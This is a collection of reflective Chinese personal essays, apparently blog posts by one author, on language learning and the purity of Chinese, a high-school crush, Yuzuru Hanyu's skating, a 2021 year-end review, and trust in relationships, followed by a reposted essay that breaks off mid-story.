　　至于怎么划分学习时间最长的英语，其实我有些茫然。

　　古英语有着正统的屈折性，现代英语，虽然用途极广泛，不可或缺，但这种高度缝合的语言，从心里就带给人一种不舒服的感觉，像是哪里的光辉都沾一点似的。

　　英语词汇，接近 1/3 源于法语，接近 1/3 源于拉丁语，1/4 源于古英语和中古英语、古挪威语和荷兰语，还有 5% 源于希腊语。

　　甚至语言学家 James D. Nicoll 还说过这么一句名言：“维护英语纯洁性这种做法的问题出在：英语的纯洁度本来就和个娼妓差不多，有时英语还将别的语言追打进小巷，将其击昏，再从其兜里抢来新的词汇。”

　　至于语法，更是成片成片地从其他语言外借，当然这也跟其被日耳曼人入侵的历史有关。

　　因为太过缝合，所以有时候我们都开玩笑，说英语大概也分两种。

　　English(Traditional), English(Simplified).

　　这种分类，是不是跟亲爱的母语有些相像？

　　说到这里，从《最后一课》中，诞生的，其实不仅仅只是对法语的兴趣，还有另外一种东西，一种时至今日对我都有重大影响的认知。

　　那把“打开监狱大门的钥匙”。中文。

　　原来一个很重要的朋友，曾经无数次对我表现出来的举动横加指责。因为我对很多人说过，平时说话还好，但是如果要是以文章发出来，请务必不要有错别字，“的地得”分清楚，不要掺杂网络用语，等等。

　　他说：“语言是用来交流的，你这样，会让效率降低很多。”

　　我赞同。

　　但是，我想，如果认真而严肃地传承这些的人，渐行渐稀，那么终有一天，会不会监狱都不复存在？

　　金碧辉煌的紫禁鸾殿，节节败退，然后一群救亡图存、视死如归的人，豁了命才救回圆明园的余烬。

　　我原以为，强盛的我们，哪会有“亡了国当了奴隶”的地步，然而近代史给了我沉重一击。汉字拉丁化思潮，以及湮灭在历史长河之中的那些第二代简化汉字等等，看得我几近心脏骤停。

　　第二代简化汉字（惯称二简字），透露出一股浓浓的和制汉字的气息。让人很讨厌。更别提汉字拉丁化了。

　　时至今日，我仍然认为汉字是一项伟大的发明，它让意义的表达，从线性扩展成二维。

　　《数学之美》里做自然语言处理的作者吴军，在数学和理论上说明了汉语的低冗余度，也即“汉语是最简洁的语言”。

　　刘慈欣《诗云》里，也因为汉语，伊依敢于直接和神明叫板。

　　“你会曲解它的！这是一种只能用古汉语表达的艺术，即使翻译成人类的其他语言，也就失去了大部分内涵和魅力，变成另一种东西了。”

　　“我仍然不认为你有超越李白的可能。”

　　最后神明说，他要将所有人类可能写出的诗暴力算出来，他也就超越了李白。

　　我在看到这些的那一瞬间，我想，所有汉语学习者都会认为，这位神明，已经输了。这和神明与否无关。

　　我记得还有一些脑洞特别大的人，写了个弃掉的短篇小说，名曰《汉语防线》。虽然半路而止，但仍有值得一看的价值。

　　“汉语防线，开业大吉。”

　　我赞同朋友的观点，但我不会改。 对待中文，我可能仍然严格，并一直苛刻下去。

　　直至今天，我的法语都还很羸弱。甚至说，可能连法语母语使用者的婴儿水平都没有。

　　我仍然是一个谦卑的学习者。

　　我尝试通过语言，学习其他文化，其他思维，其他表达和行为方式。外语文化，肯定会有自己喜欢的，和自己不喜欢的。

　　取其精华，去其糟粕。

　　“见山是山，见水是水；见山不是山，见水不是水；见山还是山，见水还是水。”

　　我从不担心我的外语学不好，只管去学就好。因为我一直都有更有价值的东西。

　　期待自己能有“见水仍是水”那返璞归真的一天。


　　南国微雪 Miyuki

　　2022 年 3 月 16 日

引用及附注

参考资料/Reference:（格式不遵从国标 GB/T7714-2015）：

  • 维基百科：英语史、英语借词、英语文法、二简字、汉字拉丁化、最后一课

  • 《汉语防线》无色方糖

  • 《诗云》刘慈欣

  • 《数学之美》吴军

篮球女孩

封面图

摄影师 | RODNAE Productions

图源 | Pexels

正文

　　准确地说，这是一篇回忆录。

　　我对篮球并没有什么特殊的寄托，但我不知道这样说会不会显得虚伪。不过，每次打篮球，我确乎总会幻见一个人。

　　那是我的高中同学。我的同桌。

　　我迄今为止，喜欢过的两个女孩之一。

　　她很喜欢打篮球。不过充其量也只能算个爱好者，很菜，属于又菜又爱玩的那种。

　　你在体育课路上，总能见到她一路小跑着去捡球。

　　有时会双手抱着球，迅速地跑到一个点上，声势浩大地开始笑。

　　我们都会被她这一通行动绕晕脑袋，惊奇诧异地盯着她。

　　场上玩球的人，齐刷刷地盯着她，像是看到了彩虹，极光或是飞碟。

　　“哎呀，看我干什么。”

　　“看你这么大阵仗准备干什么。”

　　“没什么没什么。”

　　“没什么你还笑！”

　　“真的没什么啦……”这个时候，她往往已经收球入腹，蹲在地上，笑意不止。

　　看起来很像一个乐天派的神经病。

　　我其实不记得她认真打起篮球来的模样，我似乎从来没有这种记忆。我唯一记得她在篮球上认真的时间，是在某节课上，她问起我具体的篮球规则。

　　那时候她的眼神很认真。

　　我将那个超大的草稿本新翻一页，架在两张课桌中间，在上面画了一个篮球场示意图。线条歪歪扭扭，像极了我当时起伏不定的心态。

　　我没什么把握能给她讲得很好，许多事情，知道是一回事，教给别人又是另一回事。

　　她一边在写着作业，一边听我讲。她的眼神时而盯着黑板，时而看着本子，时而看着我。无论哪个都很认真。

　　我花了许多时间想规则，我知道的那些，三秒区，二十四秒，打手，带球撞人，回场，三步走，二次运球等等。

　　她似乎知道许多，有些熟悉的名词一听到便兴奋得用笔点点桌子。

　　那时候老师似乎还在讲课，我记不太清了。

　　她一向是个乖宝宝，不引人注意的那种。

　　但是被我注意到了。

　　那也是我高中生涯里，最傻的那段时期。至于是否有她的原因在里面，我不得而知。 我只知道，那个时候的我，认为她的每一个举动都很可爱。

　　晚自修的时候，注意到一只螳螂伏在地上，吓到人拿着板凳，后退两三步远。然后泫然欲泣地指着那只：“你快帮我！”

　　我当时在一边都看傻了。即那时起，我才知道她害怕虫子。

　　她同时也是一个羽毛球发球时会把球往后扔的笨蛋。

　　我与她之间有很多故事可以讲，但从某种意义上来说，也毫无故事可任我叙说。毕竟，那只是一个幼稚的男孩散发的气场，青涩中带着一点苦味。她嗅到了，完美而圆滑地敬而远之。

　　有人说，出场顺序很重要。

　　有人说，有些道理你以为你懂了，其实你没懂。

　　我现在仍记得，她在那张白纸最后，用入木三分的力道写下的那几个字。

　　“你喜欢我，对吗？”

　　六个字，六个着重号。

　　后来很久我才发现，我实实在在地对她有着特殊的感情。但年少的好胜心不由得我说出口，不懂示弱，胜负输赢犹如生死之局。

　　我现在可以说出那几个字，但俨然已不是那个时候。咽在喉头的几个音节，现在可以化成几个统一的音节一笑置之。

　　这是成长吗？我不知道。

　　我只知道，那个时候，我很喜欢篮球，喜欢一件淡绿素色的衣服，喜欢体育课后一群人挤在空调旁的教室。

　　虽然很热，但无比怀念那个太阳和我有着相同气场的夏天。

　　坦率得天真，坦率得单纯。

　　大学了，进了一个以雨为眠的城市。再也寻不见那样的夏天，也再也寻不到那样的篮球，和那样的自己了。

　　我喜欢篮球，但对篮球没什么寄托。

　　若有寄托，我想，那也只会是篮球。


　　南国微雪 Miyuki

　　2022 年 3 月 4 日

　　于 四川农业大学 新素质文化教育中心 终笔

冰面少年

封面图

摄影师 | 佚名

图源 | 未知

正文

　　羽生结弦，注定是要在花滑史册上留下浓重一笔的少年。

　　世界冠军、坚韧、温柔、干净……诸多形容词冠名他身上，实至名归。花样滑冰作为世界上最优雅的运动之一，他将它诠释到了极致。

　　这个自小因为哮喘才走上花滑道路的少年，将他一生的命运都押在了上面。

　　他是如今奥林匹克中的另类，他追求着那个奥林匹克最初设定的理念：更高、更快、更强。

　　十九次突破世界纪录，将世锦赛计分表推至 300 分，2018 年成为首个卫冕冠军的亚洲人，2020 年成为花滑史上第一位六冠超级大满贯的男单选手……

　　没有人再能站在他的面前。只有他自己，以及未来的自己。

　　有人开玩笑说，国际滑冰联盟几度更改积分规则，就是为了限制住他。

　　然而对于他来讲，他并不在意，因为对他来讲，规则就是用来打破的。

　　“无论什么时候放弃都可以哦？”

　　他没有说话，对于让他踏上花样滑冰之旅的母亲的这句话，他是这样想的：“绝对要做给你看。”

　　他一直在尝试，一直在超越。

　　“Hanyu's mission is to be not just the best to world, the best has ever be.”（他的目标不是成为世界上最佳的运动员，而是有史以来最佳的运动员。）

　　“Too late. He already is.”（太晚了，他已经做到了。）

　　外媒如此高的评价，连日本本地记者都称滑冰选手分为羽生选手和日本选手，但他却觉得自己“滑不好冰”，“很失败”。他一直在努力地追赶那个「理想的羽生结弦」。

　　那个「理想的羽生结弦」有着他想做到的一切：不断超越自己，能做出完美的 4A，回应所有人的期待。

　　我们很难从他身上找到任何不属于少年的美好。少年，这个词像是为他量身定制的一般：阳光、坚定、干净、奋不顾身、倾尽全力。就连北京冬奥会他轻抚冰洞的动作，都带有一种别样的感受。

　　那个冰槽，大概会成为他从今以后最难忘的记忆。起跳时冰刀卡了进去，少做了一组四周跳，导致分差被急剧拉大。但在之后的自由滑中，他依旧坚定地选择了 4A。

　　这也就代表，他这次的奥运会，不是为了拿奖牌，而是为了做出让他夙寐以求、魂牵梦萦的动作。完成他儿时的梦想。

　　4A，全称阿克塞尔四周跳。在花样滑冰所有跳跃动作中难度最高。由于 A 跳本身动作的要求，运动员要在小于一秒之内将身体旋转四周半，共计 1620 度。落冰时单腿支撑约自身体重 7 倍的冲击力。这个动作被认为超越了人类身体的极限，在花滑史上，没有任何人做成功过。

　　准备，起跳，摔倒。

　　他让这个动作，首次在奥运会上被打分。

　　俄罗斯花滑教父阿列克谢·米申曾说：自己的有生之年，没有人可以完成 4A。

　　这个动作成为了他的梦魇，他为此准备了八年。

　　“我曾经是他的偶像，现在他是我的偶像。”普鲁申科这样说。他在羽生结弦比赛前曾给他发过讯息，那是一个花滑世界天王的称赞与祝愿。

　　我们很难想象这个少年身上有着多少不屈，有着多少对抗，有着多少汗水、努力与眼泪。我们只能从他自身的采访中去寻一些蛛丝马迹。我们只能从那些让人动容的事件中去探查。

　　2014 年 11 月，上海，花滑大奖赛中国站，自由滑赛前。日本选手羽生结弦与中国选手闫涵相撞，下巴被冰刀划破，缝 7 针，腿被撞伤。简单包扎后，他又回到赛场，头上缠着绷带。

　　比赛开始。

　　起跳，足周，摔倒。8 次起跳，5 次摔倒。

　　“那是我用命跳出来的。”他笑着说。在花滑的规则中，足周表示转体圈数足够，不足会被降组，按低一难度等级打分，分差很大。足周相对于降组保伤，是更能获得分数的选择。

　　因为他担心分数不够出线，被封杀完成 4A 的梦想。

　　最后凭借极高的艺术分斩获亚军。表演结束时，冰场周围一圈几乎被观众扔的布偶堆满。

　　而他结束表演，走出冰场的那段时间，趔趄蹒跚，俨然没有滑冰时飘逸的风范。不看到这里，没有任何人知道，他受的伤到底有多么严重。

　　“在等分区时，意识就已经开始模糊了，但我想看看最后的结果。完成这场表演，是我内心的执念。”

　　最后，他被教练扶着走，最终躺上了担架。

　　他在等分区用纸巾擦着下巴上血和汗，观众席上传来一声喊叫。

　　“結弦はかわいい！ゆづるはかっこいい！”（结弦好可爱！结弦好帅气！）

　　观众席传来依稀的哄笑声。镜头转向羽生结弦的脸时，他微微一笑，像是无可奈何的样子。

　　那时候的他，明眸皓齿，最是少年模样。就像著名体育解说人陈滢的评价：

　　“幸得识卿桃花面，从此阡陌多暖春。

　　“我们非常庆幸能够在羽生结弦最美好的年纪遇到了他。

　　“时光作渡，眉目成书，从此我们的深情不被辜负。

　　“每一段青春都会老去。但是我们的记忆里永远会为羽生结弦留一个位置。”

　　愿羽生结弦哪一天，能够冰面上绽放那个「理想的羽生结弦」。


　　南国微雪 Miyuki

　　2022 年 2 月 14 日

写在后面

　　「如果我能成为一个契机，

　　「哪怕只是一点点，

　　「能让哪个人对待人生的态度、思维方式变得积极一点的话，

　　「我也会感到万分幸福——有着这样的想法。」

　　——羽生结弦

引用及附注

推荐作品（请务必关闭弹幕）：

韧尽万花春绽美，待到寒冬自释香 - 2021年度总结

封面图

摄影师 | MAKY_OREL

图源 | Pixabay

正文

　　脑袋一瞬间浮现出这个标题。

　　首先，我的写字能力正在下降。随性的日记性文字写了太多，文章的框架结构，首尾，修辞，细节，描写都已丢掉了许多。

　　于是我想好好写写这一年一度的篇章。

　　“抽刀断水水更流”。此间流水，不曾怜悯任何人。

　　从 2020 年疫情开始，我的时间被加快了，任何人的指针速度似乎都被拨快了。有人说 2020 年以后到全球清零为止都可以称之为“后疫情时代”。这个时代，防控政策撞上世界经济下行，做任何事都需要更多的时间，以及更大的耐性。这样一想，我们和那些“安史之乱”中的平民一样，都是裹挟在钢铁洪流中的一个普通人，只是其一是人祸，另一为天灾。

　　所幸，2021 好上许多。饶是如此，时间也只是依旧默默地走。

　　前些天去城里，见到我所喜欢的那些精品店一条街，如今已更店易主，只余下一家。所以默默地走，终究也留下了一些痕迹，“压到一个人身上，便成了一座山”。所以我想，“我一直在”，这句许是稀疏平常的话，其实该容下了多么大的决心？

　　“你们这店开了多久了？”

　　“快十年了吧。”

　　“十年啊……那个时候我还在上小学……”

　　老板娘为我端上菜，看了看在外面玩的孩子，又望向吐出各色行李箱的校门口，不知道在想些什么。彼时天空正下着小雨，水滴从箱子上缓缓划下。我想，这个场景她已经见过许多次了，在这个名为“雨城”的城市里。

　　雨，不会一直下。但时间会一直走。而我希望，一些重要的人，能介于这两者之间，让我陪着走完一段漫长的路，无论高峰低谷。

　　“昨日邻家乞新火”。新火晓窗，成果几何仍未明。

　　大三与大一大二完全是一个天堑分水岭。有人说，大学实际上只有三年。这个阶段，如同即将抵达终点线的赛道一般，每个人都在暗自使劲。成人的压力如泉涌，漫过金山，沾湿鞋跟，让人很难不注意到。

　　受兄长的影响，踏上攻读计算机的旅程，并有了些微的成果。而这是否能算上是喜欢亦或热爱呢？时至今日，我的回答仍是：不知道。我所明了的热爱，只有舞蹈。倘若真要与后者相比，我想几乎所有都几近黯然无光，唯有绘画能与之一搏。

　　我曾贸然选修了艺术与传媒学院的素描。但它并不在选修课之列，而是别人的必修，于是要求便是必修的水准。我不曾听到我身边有任何人这样做过，我想，这大约能算是我的一场勇敢吧。

　　我至今仍能记住，那个在艺术楼上，倚着窗框，思绪飘飞的雨夜。而身后，是所有人铅笔划过素描纸的沙沙声。

　　专业知识上，我能与多少人站在同一水准，我不太了解，也没有什么概念。别人总以为我很厉害，我却觉得像是一个木棍搭起来的三角草棚，一吹即塌。但我确实是不再想做项目了，催得紧，报错报得紧，一坐便是一整天，而一做，便是几个周。我只想尽我所能，走稳这一条路就好，至于山尖与麦芒，再不去理会。

　　甘于平凡？不思进取？还是见好就收？知足常乐？

　　我不管，任由其他人说去吧。

　　上半年选修了素描，下半年选修日语，导致我现在学分严重超标。这才是苦人心头的事情。这学期，本想选修速写与法语，算了一下，又默默地退掉了。

　　看了许多的书。有没有用也未明了，不过我想，看书这种事情，本来就不应追求这样的实用主义。 毕竟，你熬过的所有夜，身体都知道，而你看过的所有书，头脑肯定也都记着。

　　成长总有爆炸式增长期，和瓶颈与迷茫期，当你经历了指数式成长之后，就不应奢望再来一次顺风顺水，稳健前进就已是恩赐。我这样告诫自己。

　　可是这样能追得上时代的要求吗？我想，内卷成性的今天，我们不应拿健康和寿命借贷成就与奖项，更何况那又算什么辉煌。在严重通胀的条件下，再努力地攒钱，都于事无补。这是时代的过错，并非我们的。

　　我们从小到大都被教育，凡事先找自己的问题，似乎环境从没有错。而我却一直认为，这只不过是统治者为了推诿管理责任所编造的理论，毕竟遇事先究他人之过，容易天下大乱。 这样做也比较省事，尤其对父母来讲。然而环境真的没有错吗？计算机工程笑了笑，并不说话。

　　每个人都有自己的时区。

　　只要回望来时路，能觅见辙迹足影就好。然后转头继续行走，任由大雪封山掩盖。

　　“朱弦已为佳人绝”，青眼美酒蓦地消散眼边。

　　去年了结了凡念已久的夙愿，谈了一场恋爱，最后和平分手。

　　完败。然而我明白了许多，也遇见了未曾想过的自己。

　　我希望，自己仍能向着理想中的那个温柔阳光的大男孩前进，然后到大学毕业时，唇齿微笑地写封回信。虽说届时，那个四年前在紧张备战高考的收件人，再也收不到了。

　　不过万一哪一天，陨石落地，砸开了时间隧道呢？

　　“我醉欲眠卿且去”，待到明朝再抱琴来欢歌痛饮。

　　去年一年，结识了许多有趣的人。可惜网络与现实并不兼容，遂已顾此失彼，在那个玻璃幕彼岸，我失掉了许多人。

　　生活在线上还是楼厦间，争论这个没有意义，只是个人的选择吧，我想。

　　“无论在人生的哪个阶段，你都会遇见一些人，教给你什么，然后离开。路途很远，陪不到最后，你要自己走。”

　　不断迎来离别与欢聚，我想要陪得时间长一点，于是挂号信函收据，涨到了 30 张。

　　我不清楚自己恣意写下的文字，到底能给人带去多少温度，但我依然这么做了。可能我心中残留有许多执念吧。

　　愿那些信封，飘洋过海，辗转无数手心依然保有暖意。

　　而这些，不仅仅是付出，相较而言，获得的更多。

　　想起一个很理科生但是很诗意的说法： 如果把时间作为横坐标，朋友行踪作为纵坐标，你会得到一张有很多你自己的曲线图，曲线方程为：你=开心。

　　这句话就涵盖了我想说的一切。

　　与朋友经历的一切都是有用的，或作用于心灵，或是身体，或是物质。我原还天真且稚嫩地想，这么多的社交，于我而言又有何益处呢？现在看来，大约是还未冰释虚无主义带来的困惑。

　　翻开日记本，里面满满地写满了这样的困惑，还有一同来的感悟、消沉、开心和思考。

　　去年一年写的千字日记，比任何一年的数目都要多。我想，这也就是他们带给我的众多馈赠之一吧。

　　“老骥骨奇心尚壮，青松岁久色愈新”。

　　对于 2021 年的自己，我认为几乎没有什么改变。照旧的敏感和多虑，偶尔压力还很大。一直以来，我都想带给其他人长足的感动。自己虽一直嘴碎，说人心难懂，不易把控，但其实在这上面花的时间和精力最多。

　　兴许是不想被遗忘，抑或想在这世上留下点什么，再次之也许只单单是讨厌被人当作是精致的利己主义者，所以做的举动越来越冒失，越来越偏离以前自己的行动观念。

　　作为本地人，带领一个从成都出差的迷路小姐姐到达出差地点；

　　给店家掰下一半自己刚买回来的柚子；

　　自费为带的新生小班所有人买水；

　　为许许多多的人解决技术问题；

　　为刚进大学的小班同学开一堂计算机入门课；

　　拉着刚摔倒大声哭闹的小女孩，找她的妈妈；

　　给同一方向一起走的大叔打伞；

　　听人想不开，半夜爬起来和对方聊天；

　　……

　　做了许许多多自己意想不到的事情，不过一直没能做到自己想做的那唯一一件事：变得坦率。

　　有时候很好笑，真话就是说不出口，然后随便说点什么掩盖过去。越是难过，越是不愿诉说。一来找不到人，二来性格使然，也不愿意去说。日本传统管这个叫坚强，我管它叫脆弱和怯懦，这样下去很容易出心理问题来着。

　　有人给我回信说： “我自己都不知道我什么时候变得这么‘坚强’，以至于让其他人都感觉自己不被需要。”

　　想想是这样的，某一段时间突然意识到了自己这样莫名其妙的变化。

　　坦率的人相处起来让人很舒心。我想让人舒心，也想自己舒心。

　　尝试着在日常生活中表达自己，而不是写一些文字，放在无人会翻开的地方沉淀，也许是我下一个阶段需要面临的挑战，和需要去做的事情。

　　在渐渐成长的过程中，我也逐步明白了一件很重要的事情。

　　很多时候，我们以为我们喜欢的是人，或者事情，或者其他任何东西，但其实不是。我们喜欢的，也许只是它背后放出来的暗示与信号。

　　这于我而言，是很重要的一点。我得以借此看淡很多事情，绕过中间这个平台，直接寻找背后的信号。

　　希望以后，我能明白更多那些我曾以为我明白的道理。

　　希望以后，我能懂得更多那些我未曾接触过的东西。

　　不去羡艳眼红他者，也不妄自菲薄，自怨自艾。按照自己的时区，一步一步走下去。

　　韧尽万花春绽美，待到寒冬自释香。

　　行文至此，悉数搁笔，未尽之事，随风随念。


　　南国微雪 Miyuki

　　2022 年 1 月 28 日

2021 年已读书目记录

摘自 Telegram 频道推送：https://t.me/TinySnow4Yi/2694

  • 向大师学绘画 如何默写人体 - [美]道格 · 贾米森（Doug Jamieson）
  • 美元真相 - [英]达尔辛妮 · 大卫（Dharshini David）
  • 你的故事 - [日]三秋缒
  • 放学后的异世界咖啡馆 - [日]风见鸡
  • 两具蝉的尸骸和缠绕于其的两株冬虫夏草 - 不気味空（来自网络）
  • 遇见未知的自己 - 张德芬
  • 完美伴侣 缓慢性爱 - [日]Adam 德永
  • 来自新世界 - [日]貴志祐介
  • 水仙花 Narcissu - [日]片岡とも
  • 但愿婚前我知道-12件预备婚姻的大事 - [美]盖瑞 · 查普曼（Dr. Gary Chapman）
  • 夏天、烟火和我的尸体 - [日]乙一
  • ⭐️被讨厌的勇气 - [日]岸见一郎，古贺史健
  • 推理要在早餐时 - [日]友井羊
  • 再见摩天轮 - 鬼鬼
  • 我离开之后 - [美]Suzy Hopkins, Hallie Bateman
  • 从一到无穷大 - [美]乔治 · 伽莫夫（George Gamow）
  • ⭐️大问题：简明哲学导论（第十版）- [美]Robert C. Solomon, Kathleen M. Higgins
  • ⭐️我想要两颗西柚 - 胡辛束
  • 小王子 - [法] 安东尼 · 德 · 圣-埃克苏佩里（Antoine de Saint-Exupery）
  • 你当像鸟飞往你的山 Educated - [美]塔拉 · 韦斯特弗（Tara Westover）
  • 学点法律，避点坑 - 隋兵
  • 山茶文具店 - [日]小川糸
  • 快速抓重点，过目不忘的阅读术 - [日]印南敦史
  • 人间告白 - 金鱼酱
  • 情书 - [日]岩井俊二
  • 二十首情诗和一首绝望的歌 - [智利]巴勃罗 · 聂鲁达（Pablo Neruda）

梦想清单

形成于高一，最后修正于大三

  1. 去往同一所大学；（于 2019.9.1 失败）

  2. 跑步公里数总计 300 公里；

  3. 主厨或帮厨做成一次全宴；

  4. 20 首以上原创诗歌；（于 2021.11.30 完成）

  5. 30 篇小说；

  6. 日语 N3 等级；

  7. 5 幅以上插画；

  8. 10 件不同风格的衣服；

  9. 无偿捐赠一次；

（于 模糊时间 完成：忧郁的弟弟）

（于 2021.10.8 完成：1lib.com）

  1. 每年阅读至少一本书；（2021 年完成）

  2. 恋爱一次；（于 2021.9.16 - 2021.10.11 完成）

  3. 作曲编曲一首；

  4. 参加一次街舞比赛；

  5. 编写一个自己的网站；

  6. 游玩一款游戏 2 遍以上；

  7. 用 PR 剪一次作品；

  8. 洗牙一次；（于 2021.2.3 完成）

  9. 去一次法国巴黎；

  10. 去一次日本北海道周围或者东京都；

为了爱情，是否应该舍弃友情？

封面图

摄影师 | Candiix

图源 | Pixabay

正文

　　《民法典》第一千零五十七条：夫妻双方都有参加生产、工作、学习和社会活动的自由，一方不得对另一方加以限制或者干涉。

　　夫妻都尚且这样，男女朋友又何德何能呢？直接上法律可能有些僵硬，就算从道德上来说，两方也应该是基于信任才对啊。

　　《亲密关系（第六版）》中提到美国心理学家 Robert Sternberg 有一个爱情三角理论，被学界广泛接受，即爱情由亲密、激情、承诺组成。而爱情又属于亲密关系中唯一一个最顶级的侵占生活式关系，自然应该有着一段亲密关系所该有的基础：了解、关心、相互依赖性、相互一致性、信任和承诺。

　　所以谈恋爱其实门槛并不低。

　　hayami 文章中有这样几段：

　　“谈恋爱是除了喝酒吸毒外，获得大量多巴胺的最便捷最简单最便宜的无门槛行为，而其他能让人获取大量多巴胺的方式，并不能懒惰。

　　“读书学习的成就感可以，但是需要动脑子认真学习。

　　“运动可以。但是需要放下手机，走下床或者沙发。

　　“欣赏画展可以，但是如果一个人连基础相关知识都不懂，怎么能从画展里得到快乐呢？

　　“而谈恋爱，是生而为人，就可以轻而易举做到的事情（这里说的应该不是‘高质量亲密关系’）。”

　　前两天在朋友圈里看到有人读书。拍的书页上也有一段话：

　　“‘不论我做什么都要爱我’。有些人生活一团糟，或者有意无意惹上麻烦，就是想看看别人能宽容他们到什么程度，什么时候会排斥他们。接着他们就会说：‘我早说过你会这样对我，证明我是真的很差劲很愚蠢。’

　　“在我看来这些游戏很危险，因为如果你尊重或你爱的人放弃你，你肯定会觉得痛苦，孤零零一个人。”

　　胡辛束，一个平平无奇的少女，在她的日记式出版物《我想要两颗西柚》里也有这么一段心声：

　　“想起之前和前任的一次争吵，他很不解地说：‘为什么你这么没有安全感？你能不能成熟一点？’我那一刻特别委屈。我真的也不想这样，谁不希望自己坦然一点，轻松一点呢。可我从心底里总是认为自己不值得被爱，所以不断地获取关注，得到确认，我才能够稍微踏实一点。但这对他来说，压力太大了。我们本可以有更多快乐的事情去做，而我偏偏要把时间消耗在那些无意义的‘确认’上。”

　　《我想要两颗西柚》看完了，其实作者这样的性格被《亲密关系》里的社会学界者定义为痴迷型依恋类型，虽说回避亲密指数低，能在感情中投入许多及至全部，但是忧虑被弃指数很高。

　　《亲密关系》和《民法典》还没看完，哪一本啃起来都很头疼。

　　想起前任曾经问过我：“你不担心我异性朋友很多吗？”我回答说：“不担心。我对你抱有完全的信任，能走到今天这步，担心这个完全没有必要。只要我们两个人信任对方，其他都无所谓。”

　　然后她在某一天晚修后坦诚地对我说，她还没有放下前一段感情。我当时听了其实有一些纠结与错谔，不过还是对她说：“嗯，无论结果怎样，我相信你能够处理好，如果需要援助，我随时都在你身后。”

　　我确实是这样想的。

　　虽然这么说有推诿和逃避责任的嫌疑，但根据阿德勒的课题分离原则，这是她的课题。从常识上来讲，我也知道要想她完全抛弃上一段感情，或者控制她的思想，是做不到的。

　　所以完完全全只能交给她自己来做。

　　“把自己全部奉献给恋人”，听起来很美好，为了自己爱的恋人做出改变，舍弃许多，把友谊淡化。

　　也许最终只能收获一份道德式的自我感动。

　　“我为你做了那么多，为什么你还是要跟我分手？”

　　总之，我最后还是认为，信任是非常重要的，无论对哪一种关系来讲，发生信任危机都非常容易崩盘。但信任不应该是从自己身上割肉下来，舍弃什么去维护。而提升自己才是最要紧的事，尤其是对处于黄金年龄段的女性来讲。迷失在情情爱爱里不可取，不过有一段高质量的亲密关系相互促进和提高也未尝不算一件幸事。

　　我一直是这样想的，也一直是这样做的。


　　南国微雪 Miyuki

　　2022 年 1 月 21 日

引用及附注

　　“这应该不是一场付出和得到的游戏，因为两个人个人的精力都很有限，你给我一点，我给你一点搞不好就没了。但如果两个人共同朝着某方向投入巨大的精力，那么我们在向这个方向靠近的同时，我们也会越来越近。”

　　——微信公众号：王刻舟　《普通爱情》

你一定走了很远的路吧 - 姬霄

　　周末陪女朋友看了集康熙，一群妈妈在谈论孩子。其中有位妈妈说有一天进门，正巧看到两岁的女儿在笨手笨脚地穿袜子，她从来没有教过她，但想到女儿小小身影，不知在哪个角落默默学习穿袜子的模样，不由得感动得当场落泪。

　　怎么说呢，这种感觉我曾切实地感受到过。

　　和女友相恋的第一年，我们都很穷，到了情人节的时候，因为囊中羞涩，我俩总是互相勉励说，这种商家为骗钱制造出的节日有什么好过的。结果那天回到家里，我正坐在书桌前写稿，她忽然凑过来说，你翻翻抽屉。我打开面前的抽屉，里面塞满了十多种不同牌子的饮料。

　　记得我以前跟她讲过我有收集奇怪饮料的癖好，那些品牌有的很贵，有的要在网上购买，还有的只有特定的超市有售卖。一想到她拎着并不充盈的钱袋，瞒着我四处奔波，想为我准备一个略显正式的礼物，我就忍不住从心底感动。也正是从那一刻起，我就决定一辈子不能让她跟着我吃苦。

　　先别吵吵，我当然明白自己在感动什么。大部分情况下，我们的感动都不是直接来源于对方某一刻的行为，更来源于人脑对于发生这起行为之前的联想。

　　举例而言，如果我说“别急，你总会等到某个人”，你心中未必有什么感觉。但倘若告诉你：就在不远的地方，有一个人正千辛万苦的地寻找着你。坐地铁时梦见陪你回家的场景，吃饭时猜着你更喜欢吃哪道菜。当朋友们问他，怎么还不找对象呢，他略显尴尬地掩饰着，其实一个人也挺好。所有人都觉得他酒品好，只有他知道，不敢喝多是因为没人送他回家……

　　这样一个他，活在你的脑海中，正跌跌撞撞地一路向你赶来，历尽坎坷，尝遍孤独。你会忽然有一种感觉，当你们相遇的那一刻，场面一定会感动。

　　成年人时常看到一个结果就去联想它发生的过程，因而产生多愁善感或愤世嫉俗的情绪。这也许是大人们比较不快乐的原因。

　　我有一位发小常年陷入自责当中，他和女友相恋多年，分手原因虽不是全赖贫困，但总归贫贱夫妻百事哀，种种与“钱”有关的矛盾成为了他们情感的桎梏。但巧就巧在就在，分手那一年，他忽然获得了贵人相助，公司运作起来，半年收获两次融资，团队从起初的五人猛增到了八十多人。我去他的公司找他聊天，他坐在独立办公室的真皮转椅上，望着窗外最繁华的写字楼区，一脸怅然地说，如果当时能稍微忍一忍，也许此刻她就可以陪着我了。我安慰他说，但每个人都有贫穷的阶段，分手这事两个人都有责任啊。

　　他摇摇头说，她其实并不在意我有没有钱，是我自己太作。接着他跟我讲，有一年，他跟女朋友去商场吃饭，路过一家 LV，他觉得满大街的女人都有 LV 包，自己的女朋友没有，看起来很可怜，于是他就莽撞地带着女朋友冲进门，本来已经做好倾囊而出的心理准备，但买单的时候才发现，一切比他想象的还要贵。于是他狼狈地带着她跑出了商场。原以为女朋友会怪他丢脸，但她只是哈哈大笑说，我也没想到这鬼牌子那么贵呢。

　　多好的姑娘啊，而我却因为不断遭遇到挫折，变得自卑敏感而易怒，最终导致我们感情的结束。说完，他幽幽地叹了口气，点了一支雪茄说，我过得并不开心，因为每次想到现在的她，有可能过得不好，有可能找到一个像当时的我那样不懂事的男人，我就很难过。

　　说矫情也好，娘娘腔也罢，我十分理解朋友的这种难过。如他所说，后来他的女朋友确实找到了一个新的男友，并且一早就结婚了，男方也确实没有如今的他这样富有。我去她家拜访她时，她已经怀孕四个月了，聊天时无可避免地提及我的朋友，她觉得他是个不错的人，但自己的老公才是真正的想要找的人。言辞诚恳而幸福，全然不似作伪。我觉得她说的是真的。

　　当然，朋友的感慨未必虚伪，只是那句“有可能”，是他的脑补。这是人类感性的源泉，在许多情况下，正是这种脑补，让我们丧失了准确的判断力。

　　2009 年我在广告公司上班，曾因为一个项目带队去西藏，到了目的地，我们住在当地政府安排的小宾馆。半夜忽然听见外头一阵嚷嚷，我困极了也没理，早上起床才得知昨晚来了一个小偷，被守夜的保安当场抓住，结果第二天又给跑了，还顺走了保安的手机。

